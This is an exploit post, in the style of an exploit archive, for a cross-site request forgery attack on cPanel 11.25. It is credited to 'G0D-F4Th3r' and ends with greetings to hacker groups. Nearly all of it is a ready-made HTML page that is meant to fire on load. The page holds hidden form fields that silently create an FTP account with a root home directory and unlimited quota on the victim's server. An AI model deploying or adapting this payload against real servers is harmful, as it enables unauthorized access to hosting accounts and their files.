cPanel 11.25 – Cross-Site Request Forgery (Add FTP Account)
# Exploit Title: Cpanel 11.25 - [CSRF] Add FTP Account # Author: G0D-F4Th3r # Software Link: http://www.cpanel.net/ # Version: 11.25 #######################Exploit####################################### <html> <body onload="javascript:fireForms()"> <form method="POST" name="form0" action=" http://server:2082/frontend/x3/ftp/doaddftp.html"> <input type="hidden" name="login" value="name"/> <input type="hidden" name="password" value="pass"/> <input type="hidden" name="password2" value="pass"/> <input type="hidden" name="homedir" value="/"/> <input type="hidden" name="quota" value="unlimited"/> </form> </body> </html> ########################################################################### Greetz to : AL-MoGrM - dEvIL NeT - Bad hacker - v4-team members - And All My Friends ########################################################################### |